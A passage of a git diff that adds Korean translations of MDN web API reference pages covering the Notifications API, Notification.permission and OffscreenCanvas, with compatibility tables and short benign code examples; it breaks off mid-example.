+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Available in workers</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("41.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>silent</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(43.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(43.0)}}</td>
+ </tr>
+ <tr>
+ <td><code>noscreen</code>, <code>sticky</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>sound</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>renotify</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(50.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Promise-based <code>Notification.requestPermission()</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("47.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>vibrate</code>, <code>actions</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(53.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td>{{CompatOperaMobile(39)}}</td>
+ <td> </td>
+ <td>{{CompatChrome(53.0)}}</td>
+ </tr>
+ <tr>
+ <td><code>badge</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(53.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td>{{CompatOperaMobile(39)}}</td>
+ <td> </td>
+ <td>{{CompatChrome(53.0)}}</td>
+ </tr>
+ <tr>
+ <td><code>image</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td>{{CompatUnknown}}</td>
+ <td> </td>
+ <td>{{CompatChrome(55.0)}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Chrome 22 이전에는 <a href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">오래된 접두사형 명세</a>와 새 알림 인스턴스를 만들 때 {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} 객체를 사용해서 알림을 지원합니다.</p>
+
+<p>Chrome 32 이전에는 {{domxref("Notification.permission")}}이 지원되지 않았습니다.</p>
+
+<p>Chrome 42 이전에는 서비스 워커 추가가 지원되지 않았습니다.</p>
+
+<p>Chrome 49 부터 익명(incognito) 모드에서는 알림이 작동하지 않습니다.</p>
+
+<p>[2] Firefox 22(Firefox OS &lt;1.2) 이전에는 새 알림 인스턴스 생성이 {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} 객체의 <code>createNotification</code> 메서드를 통해서 해야 했습니다.</p>
+
+<p>Firefox 22 (Firefox OS &lt;1.2) 이전에는 Notification이 <code>show</code> 메서드를 호출할 때에만 나왔고 <code>click</code>과 <code>close</code> 이벤트 만 지원했습니다.</p>
+
+<p>새로운 구현와 이전 구현을 다 포괄하기 위해서 Nick Desaulniers가 <a href="https://github.com/nickdesaulniers/fxos-irc/blob/master/js/notification.js">Notification shim</a>을 작성했습니다.</p>
+
+<p>한가지 특별한 Firefox OS 이슈가 있는데 알림 아이콘을 사용하기 위해 <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L171">아이콘 경로를 전달</a> 할 수는 있지만 앱이 패키징되면 <code>/my_icon.png</code>와 같이 상대 경로를 사용할 수 없다는 점입니다. 또한 패키징 된 앱에서는 <code>window.location.origin</code>이 null이기 때문에 <code>window.location.origin + "/my_icon.png"</code>도 사용할 수 없습니다. <a href="https://developer.mozilla.org/en-US/Apps/Developing/Manifest#origin">Manifest origin 필드</a>로 이 문제를 해결할 수 있지만 Firefox OS 1.1+에서만 사용할 수 있습니다. Firefox OS &lt;1.1에 대한 가능한 해결책은 <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L168">외부에서 호스트하는 절대경로 아이콘 URL을 넘기는 것</a> 입니다. 이렇게 하면 아이콘 없이 알림이 먼저 나오고 그 다음에 아이콘에 붙게 되지만 모든 버전의 Firefox OS에서 동작합니다.</p>
+
+<p>Firefox OS 앱에서 알림을 사용할 때에는 manifest 파일에 <code>desktop-notification</code> 권한을 추가하도록 합니다. 알림은 호스트 되거나 그 이상의 수준에서 사용할 수 있습니다: <code>"permissions": { "desktop-notification": {} }</code></p>
+
+<p>[3] Safari는 Safari 6에서 알림을 지원하지만 Mac OSX 10.8+ (Mountain Lion)에서만 지원합니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a></li>
+</ul>
diff --git a/files/ko/web/api/notification/permission/index.html b/files/ko/web/api/notification/permission/index.html
new file mode 100644
index 0000000000..30969fb541
--- /dev/null
+++ b/files/ko/web/api/notification/permission/index.html
@@ -0,0 +1,43 @@
+---
+title: Notification.permission
+slug: Web/API/Notification/permission
+translation_of: Web/API/Notification/permission
+---
+<p>{{ ApiRef() }}</p>
+<p>{{ SeeCompatTable() }}</p>
+<h2 id="Summary" name="Summary">요약</h2>
+<p><code>permission</code> 속성은 <span style="line-height: inherit;">웹 알림에 있어서 </span><span style="line-height: inherit;">사용자에 의해 현재 앱에 허가된 현재 권한을 가리킵니다. </span></p>
+<h2 id="Syntax" name="Syntax">문법</h2>
+<pre class="eval">var <em>permission</em> = Notification.permission;
+</pre>
+<h3 id="Return_Value" name="Return_Value">값</h3>
+<p>다음은 현재 권한을 표현하는 문자열입니다.</p>
+<ul>
+ <li><code>granted</code>: 사용자가 의도하여 어플리케이션이 알림을 보낼 수 있도록 허가.</li>
+ <li><code>denied</code>: 사용자가 의도하여 어플리케이션이 알림을 보내는 것을 거부.</li>
+ <li><code>default</code>: 사용자의 결정은 알 수 없으나, 어플리케이션 기본적으로 denied 와 같이 동작할 것 입니다.</li>
+</ul>
+<h2 id="명세">명세</h2>
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Web Notifications')}}</td>
+ <td>{{Spec2('Web Notifications')}}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+<h2 id="브라우저_호환">브라우저 호환</h2>
+<p>{{Page("/en-US/docs/Web/API/Notification","Browser compatibility")}}</p>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li>{{domxref("Notification")}}</li>
+ <li><a href="/en-US/docs/WebAPI/Using_Web_Notifications" title="/en-US/docs/WebAPI/Using_Web_Notifications">Using Web Notifications</a></li>
+</ul>
diff --git a/files/ko/web/api/notifications_api/index.html b/files/ko/web/api/notifications_api/index.html
new file mode 100644
index 0000000000..4ab5d961dc
--- /dev/null
+++ b/files/ko/web/api/notifications_api/index.html
@@ -0,0 +1,83 @@
+---
+title: Notifications API
+slug: Web/API/Notifications_API
+tags:
+ - 권한
+ - 시스템
+ - 알림
+translation_of: Web/API/Notifications_API
+---
+<p>{{DefaultAPISidebar("Web Notifications")}}</p>
+
+<p class="summary">Notifications API 는 웹 페이지가 일반 사용자에게 시스템 알림 표시를 제어할 수 있게 해줍니다. 이러한 알람은 최상단 브라우징 컨텍스트 뷰포트의 바깥에 위치하므로 사용자가 탭을 변경하거나 다른 앱으로 이동했을때에도 표시할 수 있습니다. 이 API 는 다양한 플랫폼에 존재하는 알림 시스템과 호환되도록 디자인되었습니다.</p>
+
+<h2 id="개념과_사용">개념과 사용</h2>
+
+<p>지원되는 플랫폼에서, 시스템 알림 표시는 일반적으로 두 가지를 포함합니다. 첫째로, 사용자가 시스템 알림 표시에 대한 현재 origin 권한을 허용해야합니다. 이는 {{domxref("Notification.requestPermission()")}} 메소드를 사용해 앱이나 사이트가 초기화될 때 일반적으로 완료됩니다. 다음과 같이 요청 대화상자가 나타납니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10819/notification-bubble.png" style="display: block; height: 205px; margin: 0 auto; width: 453px;"></p>
+
+<p>여기에서 사용자는 이 origin 으로부터의 알림을 허용할지, 차단할지, 이 시점에는 선택하지 않을지를 선택할 수 있습니다. 하나가 선택된후에는, 그 설정이 현재 세션에대해서 일반적으로 유지됩니다.</p>
+
+<div class="note">
+<p><strong>노트</strong>: Firefox 44 부터 Notifications 와 <a href="/en-US/docs/Web/API/Push_API">Push</a> 권한이 통합되었습니다. notifications 에대한 권한이 허용되면, push 또한 활성화됩니다.</p>
+</div>
+
+<p>그 다음, {{domxref("Notification.Notification","Notification()")}} 생성자를 사용해 새로운 알림이 생성됩니다. title 인자를 반드시 포함해야하며, 텍스트 방향, 바디 텍스트, 표시할 아이콘, 재생할 알림 사운드 등과 같은 옵션을 지정하는 옵션 객체를 선택적으로 전달할 수 있습니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>부가적으로, Notifications API 명세는 <a href="https://developer.mozilla.org/ko/docs/Web/API/Service_Worker_API">ServiceWorker API</a> 에 여러가지 추가 기능을 지정하여 service worker 가 알림을 발생시킬 수 있도록 허용합니다.</p>
+
+<div class="note">
+<p><strong>노트</strong>: 여러분의 앱에서 알림을 사용하는것에 대한 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/WebAPI/Using_Web_Notifications">Notifications API 사용하기</a> 글에서 찾아보시기 바랍니다.</p>
+</div>
+
+<h2 id="Notifications_인터페이스">Notifications 인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("Notification")}}</dt>
+ <dd>notification 객체를 정의합니다.</dd>
+</dl>
+
+<h3 id="Service_worker_추가_기능">Service worker 추가 기능</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration")}}</dt>
+ <dd>알림 표시 제어를 위한 {{domxref("ServiceWorkerRegistration.showNotification()")}} 와 {{domxref("ServiceWorkerRegistration.getNotifications()")}} 메소드를 포함합니다.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope")}}</dt>
+ <dd>알림이 클릭됐을 때 커스텀 함수를 실행하기 위한 {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} 핸들러를 포함합니다.</dd>
+ <dt>{{domxref("NotificationEvent")}}</dt>
+ <dd>{{domxref("ExtendableEvent")}} 를 기반으로한 이벤트 객체의 특정 타입입니다. 발생한 알림을 나타냅니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Notifications')}}</td>
+ <td>{{Spec2('Web Notifications')}}</td>
+ <td>Living standard</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="Notification"><code>Notification</code></h3>
+
+
+
+<p>{{Compat("api.Notification")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/WebAPI/Using_Web_Notifications">Notifications API 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/notifyaudioavailableevent/index.html b/files/ko/web/api/notifyaudioavailableevent/index.html
new file mode 100644
index 0000000000..cc63e7992c
--- /dev/null
+++ b/files/ko/web/api/notifyaudioavailableevent/index.html
@@ -0,0 +1,32 @@
+---
+title: NotifyAudioAvailableEvent
+slug: Web/API/NotifyAudioAvailableEvent
+translation_of: Web/API/NotifyAudioAvailableEvent
+---
+<p>{{APIRef("Web Audio API")}}{{Non-standard_header}}{{Deprecated_header}}This interface defines the event for audio elements triggered when the Audiobuffer is full.</p>
+
+<p class="brush: html" id="Attributes">Attributes</p>
+
+<div id="section_2">
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Attribute</td>
+ <td class="header">Type</td>
+ <td class="header">Description</td>
+ </tr>
+ <tr>
+ <td><code>frameBuffer</code></td>
+ <td><a href="/en-US/docs/JavaScript/Typed_arrays/Float32Array"><code>Float32Array</code></a></td>
+ <td>The <strong>frameBuffer</strong> attribute contains a typed array (<code>Float32Array</code>) with the raw audio data (32-bit float values) obtained from decoding the audio (e.g., the raw data being sent to the audio hardware vs. encoded audio). This is of the form [channel1, channel2, ..., channelN, channel1, channel2, ..., channelN, ...]. All audio frames are normalized to a length of channels * 1024 by default, but could be any length between 512 and 16384 if the user has set a different length using the <strong>mozFrameBufferLength</strong> attribute.  <strong>Read only.</strong></td>
+ </tr>
+ <tr>
+ <td><code>time</code></td>
+ <td><code>float</code></td>
+ <td>The <strong>time</strong> attribute contains a float representing the time in seconds of the first sample in the <strong>frameBuffer</strong> array since the start of the audio track.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/ko/web/api/offscreencanvas/getcontext/index.html b/files/ko/web/api/offscreencanvas/getcontext/index.html
new file mode 100644
index 0000000000..de0015ac61
--- /dev/null
+++ b/files/ko/web/api/offscreencanvas/getcontext/index.html
@@ -0,0 +1,117 @@
+---
+title: OffscreenCanvas.getContext()
+slug: Web/API/OffscreenCanvas/getContext
+translation_of: Web/API/OffscreenCanvas/getContext
+---
+<div>{{APIRef("Canvas API")}} {{SeeCompatTable}}</div>
+
+<p><strong><code>OffscreenCanvas.getContext()</code></strong> 메소드는 offscreen 캔버스를 위한 드로잉 컨텍스트 반환합니다. 컨텍스트 식별자가 지원되는 상황이 아닐 경우 {{jsxref("null")}}를 반환합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이 API는 현재 <a href="/en-US/docs/Web/API/WebGLRenderingContext">WebGL1</a>과 <a href="/en-US/docs/Web/API/WebGL2RenderingContext">WebGL2</a> 컨텍스트에서만 실행됩니다.  <a href="/en-US/docs/Web/API/Canvas_API">Canvas 2D API</a> 관련 {{bug(801176)}}를 참조하세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>offscreen</em>.getContext(<em>contextType</em>, <em>contextAttributes</em>);
+</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>contextType</code></dt>
+ <dd>캔버스의 드로잉 컨텍스트를 정의하는 컨텍스트 식별자가 포함된 {{domxref("DOMString")}}입니다:
+ <ul>
+ <li><strong><code>"2d"</code></strong>는 2차원 렌더링 컨텍스트를 표현하는 {{domxref("CanvasRenderingContext2D")}} 객체를 생성합니다.</li>
+ <li><strong><code>"webgl"</code></strong>는 3차원 렌더링 컨텍스트를 표현하는 {{domxref("WebGLRenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 <a href="https://developer.mozilla.org/en-US/docs/Web/WebGL">WebGL</a> 버전 1(OpenGL ES 2.0)을 지원하는 브라우저에서만 사용 가능합니다.</li>
+ <li><strong><code>"webgl2"</code></strong>는 3차원 렌더링 컨텍스트를 표현하는 {{domxref("WebGL2RenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 <a href="https://developer.mozilla.org/en-US/docs/Web/WebGL">WebGL</a> 버전 2 (OpenGL ES 3.0)를 지원하는 브라우저에서만 사용 가능합니다.  {{experimental_inline}}</li>
+ <li>
+ <p><strong><code>"bitmaprenderer"</code></strong>는 주어진 {{domxref("ImageBitmap")}}을 캔버스의 내용 대신 전환하는 함수를 제공하는 {{domxref("ImageBitmapRenderingContext")}}를 생성합니다. </p>
+ </li>
+ </ul>
+
+ <p>Note:<strong><code>"experimental-webgl"</code></strong>과 <strong><code>"experimental-webgl2"</code></strong> 식별자는 WebGL에서도 사용됩니다. 그러나 아직 테스트 적합성을 통과하지 못했거나 플랫폼별 그래픽 드라이버 지원이 안정적이진 않습니다. <a href="https://www.khronos.org/">Khronos Group</a>은 특정한  <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">정합성 규칙</a>에 WebGL 구현을 인증하고 있습니다.</p>
+ </dd>
+ <dt><code>contextAttributes</code></dt>
+ <dd>
+ <p>You can use several context attributes when creating your rendering context, for example:</p>
+
+ <pre class="brush: js">offscreen.getContext("webgl",
+ { antialias: false,
+ depth: false });</pre>
+ 2d context attributes:
+
+ <ul>
+ <li><strong><code>alpha</code></strong>: Boolean that indicates if the canvas contains an alpha channel. If set to <code>false</code>, the browser now knows that the backdrop is always opaque, which can speed up drawing of transparent content and images then.</li>
+ <li>{{non-standard_inline}} (Gecko only) <strong><code>willReadFrequently</code></strong>: Boolean that indicates whether or not a lot of read-back operations are planned. This will force the use of a software (instead of hardware accelerated) 2D canvas and can save memory when calling {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} frequently. This option is only available, if the flag <code>gfx.canvas.willReadFrequently.enable</code> is set to <code>true</code> (which, by default, is only the case for B2G/Firefox OS).</li>
+ <li>{{non-standard_inline}} (Blink only) <strong><code>storage</code></strong>: String that indicates which storage is used ("persistent" by default).</li>
+ </ul>
+ WebGL context attributes:
+
+ <ul>
+ <li><strong><code>alpha</code></strong>: Boolean that indicates if the canvas contains an alpha buffer.</li>
+ <li><strong><code>depth</code></strong>: Boolean that indicates that the drawing buffer has a depth buffer of at least 16 bits.</li>
+ <li><strong><code>stencil</code></strong>: Boolean that indicates that the drawing buffer has a stencil buffer of at least 8 bits.</li>
+ <li><strong><code>antialias</code></strong>: Boolean that indicates whether or not to perform anti-aliasing.</li>
+ <li><strong><code>premultipliedAlpha</code></strong>: Boolean that indicates that the page compositor will assume the drawing buffer contains colors with pre-multiplied alpha.</li>
+ <li><strong><code>preserveDrawingBuffer</code></strong>: If the value is true the buffers will not be cleared and will preserve their values until cleared or overwritten by the author.</li>
+ <li>
+ <p><code><strong>failIfMajorPerformanceCaveat</strong></code>: Boolean that indicates if a context will be created if the system performance is low.</p>
+ </li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{domxref("RenderingContext")}} which is either a</p>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}} for <code>"2d"</code>,</li>
+ <li>{{domxref("WebGLRenderingContext")}} for <code>"webgl"</code> and <code>"experimental-webgl"</code>,</li>
+ <li>{{domxref("WebGL2RenderingContext")}} for <code>"webgl2"</code> and <code>"experimental-webgl2"</code> {{experimental_inline}}, or</li>
+ <li>{{domxref("ImageBitmapRenderingContext")}} for <code>"bitmaprenderer"</code>.</li>
+</ul>
+
+<p>If the <code>contextType</code> doesn't match a possible drawing context, <code>null</code> is returned.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext("webgl");
+
+gl; // WebGLRenderingContext
+gl.canvas; // OffscreenCanvas</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#dom-offscreencanvas-getcontext", "OffscreenCanvas.getContext()")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.OffscreenCanvas.getContext")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The interface defining this method: {{domxref("OffscreenCanvas")}}</li>
+ <li>{{domxref("HTMLCanvasElement.getContext()")}}</li>
+ <li>Available rendering contexts: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}}, {{domxref("WebGL2RenderingContext")}}, and {{domxref("ImageBitmapRenderingContext")}}</li>
+</ul>
diff --git a/files/ko/web/api/offscreencanvas/height/index.html b/files/ko/web/api/offscreencanvas/height/index.html
new file mode 100644
index 0000000000..9cf16b703f
--- /dev/null
+++ b/files/ko/web/api/offscreencanvas/height/index.html
@@ -0,0 +1,63 @@
+---
+title: OffscreenCanvas.height
+slug: Web/API/OffscreenCanvas/height
+tags:
+ - API
+ - Canvas
+ - Experimental
+ - OffscreenCanvas
+ - Property
+ - Reference
+translation_of: Web/API/OffscreenCanvas/height
+---
+<div>{{APIRef("Canvas API")}} {{SeeCompatTable}}</div>
+
+<p><code><strong>height</strong></code> 프로퍼티는 {{domxref("OffscreenCanvas")}} 객체에 할당된 높이를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>var <em>pxl</em> = <em>offscreen</em></var>.height;
+<em>offscreen</em>.height = <em>pxl</em>;</pre>
+
+<dl>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>새로운 offscreen 캔버스를 생성하고 높이를 설정하거나 반환합니다.</p>
+
+<pre class="brush: js">var offscreen = new OffscreenCanvas(256, 256);
+offscreen.height; // 256
+offscreen.height = 512;
+</pre>
+
+<h2 id="상세">상세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#dom-offscreencanvas-height", "OffscreenCanvas.height")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.OffscreenCanvas.height")}}</p>
+</div>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{domxref("OffscreenCanvas")}}, 프로퍼티가 속한 인터페이스</li>
+</ul>
diff --git a/files/ko/web/api/offscreencanvas/index.html b/files/ko/web/api/offscreencanvas/index.html
new file mode 100644
index 0000000000..4e90bbf294
--- /dev/null
+++ b/files/ko/web/api/offscreencanvas/index.html
@@ -0,0 +1,153 @@
+---
+title: OffscreenCanvas
+slug: Web/API/OffscreenCanvas
+tags:
+ - API
+ - Canvas
+ - Experimental
+ - Interface
+ - Reference
+translation_of: Web/API/OffscreenCanvas
+---
+<div>{{APIRef("Canvas API")}} {{SeeCompatTable}}</div>
+
+<p><strong><code>OffscreenCanvas</code></strong>는 화면 밖에서 렌더링되는 캔버스 인터페이스입니다. window 객체와 <a href="/en-US/docs/Web/API/Web_Workers_API">worker</a> 객체 모두 지원합니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.OffscreenCanvas", "OffscreenCanvas()")}}</dt>
+ <dd><code>OffscreenCanvas</code> 생성자. 새 <code>OffscreenCanvas</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.height")}}</dt>
+ <dd>캔버스의 높이</dd>
+ <dt>{{domxref("OffscreenCanvas.width")}}</dt>
+ <dd>캔버스의 너비</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.getContext()")}}</dt>
+ <dd>렌더링된 캔버스 컨텍스트 객체를 반환합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.convertToBlob()")}}</dt>
+ <dd>캔버스에 들어있는 이미지에 대한 {{domxref("Blob")}} 객체를 생성합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.transferToImageBitmap()")}}</dt>
+ <dd>OffscreenCanvas에 렌더링된 이미지중에서 가장 최근에 렌더링된 이미지를 {{domxref("ImageBitmap")}} 객체로 생성합니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="OffscreenCanvas_에서_만들어진_프레임을_동기적으로_화면에_보여주는_방법"><code>OffscreenCanvas</code> 에서 만들어진 프레임을 동기적으로 화면에 보여주는 방법</h3>
+
+<p><code>OffscreenCanvas</code> API를 사용하는 방법은 <code>OffscreenCanvas</code>에 속한 {{domxref("RenderingContext")}}를 이용해 새로운 프레임 객체를 생성하는 것입니다. 새 프레임이 컨텍스트에 렌더링이 되고나면, 가장 최근에 렌더링 된 이미지를 저장하는 {{domxref("OffscreenCanvas.transferToImageBitmap", "transferToImageBitmap()")}} 메소드를 호출할 수 있습니다. 이 메소드는 다른 수 많은 Web API에서 사용되고 있는 {{domxref("ImageBitmap")}} 객체를 리턴합니다.</p>
+
+<p><code>ImageBitmap</code>을 화면에 표시하려면, 현재 (화면에 보여지고 있는) 캔버스 요소의 <code>canvas.getContext("bitmaprenderer")</code> 메소드를 호출했을 때 생성되는 {{domxref("ImageBitmapRenderingContext")}} 객체를 사용하면 됩니다. 이 컨텍스트는 캔버스의 내용을 주어진 <code>ImageBitmap</code>으로 전환하는 기능을 제공합니다.  OffscreenCanvas에서 이전에 렌더링이 되어서 등록된 <code>ImageBitmap</code>을 이용한 {{domxref("ImageBitmapRenderingContext.transferFromImageBitmap()")}}을 호출하면 <code>ImageBitmap</code>이 캔버스에 표시되고 소유권 역시 캔버스로 넘어갑니다. 단일 <code>OffscreenCanvas</code>는 프레임들을 임의의 다른 <code>ImageBitmapRenderingContext</code> 객체로 전달합니다.</p>
+
+<p>아래에 두 개의 {{HTMLElement("canvas")}} 요소가 있습니다.</p>
+
+<pre class="brush: html">&lt;canvas id="one"&gt;&lt;/canvas&gt;
+&lt;canvas id="two"&gt;&lt;/canvas&gt;</pre>
+
+<p>다음의 코드는 위에서 설명한 것처럼 <code>OffscreenCanvas</code>를 이용해 렌더링합니다.</p>
+
+<pre class="brush: js">var one = document.getElementById("one").getContext("bitmaprenderer");
+var two = document.getElementById("two").getContext("bitmaprenderer");
+
+var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext('webgl');
+
+// ... gl 컨텍스트를 이용해 첫 번째 캔버스에 무언가를 그립니다 ...
+
+// 첫 번째 캔버스에 렌더링을 수행합니다.
+var bitmapOne = offscreen.transferToImageBitmap();
+one.transferFromImageBitmap(bitmapOne);
+
+// ... gl 컨텍스트를 이용해 두 번째 캔버스에 무언가를 그립니다 ...
+
+// 두 번째 캔버스에 렌더링을 수행합니다.
+var bitmapTwo = offscreen.transferToImageBitmap();
+two.transferFromImageBitmap(bitmapTwo);
+</pre>
+
+<h3 id="OffscreenCanvas_에서_만들어진_프레임을_비동기적으로_화면에_보여주는_방법"><code>OffscreenCanvas</code> 에서 만들어진 프레임을 비동기적으로 화면에 보여주는 방법</h3>
+
+<p><code>OffscreenCanvas</code> API를 이용하는 또 다른 방법은  <a href="/en-US/docs/Web/API/Web_Workers_API">worker</a> 또는 메인 스레드위에서 {{HTMLElement("canvas")}} 요소의 {{domxref("HTMLCanvasElement.transferControlToOffscreen", "transferControlToOffscreen()")}}를 호출하는 것입니다. 여기서 메인 스레드는 <code>OffscreenCanvas</code> 객체를 반환하는 {{domxref("HTMLCanvasElement")}} 객체를 가지고 있습니다. {{domxref("OffscreenCanvas.getContext", "getContext()")}}를 호출하면 <code>OffscreenCanvas</code>에서 <code>RenderingContext</code>를 얻을 수 있습니다.</p>
+
+<p>main.js (메인 스레드 코드):</p>
+
+<pre class="brush: js">var htmlCanvas = document.getElementById("canvas");
+var offscreen = htmlCanvas.transferControlToOffscreen();
+
+var worker = new Worker("offscreencanvas.js");
+worker.postMessage({canvas: offscreen}, [offscreen]);
+</pre>
+
+<p>offscreencanvas.js (worker 코드):</p>
+
+<pre class="brush: js">onmessage = function(evt) {
+ var canvas = evt.data.canvas;
+ var gl = canvas.getContext("webgl");
+
+ // ... gl 컨텍스트를 이용해 무언가를 그립니다 ...
+};
+</pre>
+
+<p>worker 내에서 requestAnimationFrame 또한 사용할 수 있습니다.</p>
+
+<pre class="brush: js">onmessage = function(evt) {
+  const canvas = evt.data.canvas;
+  const gl = canvas.getContext("webgl");
+
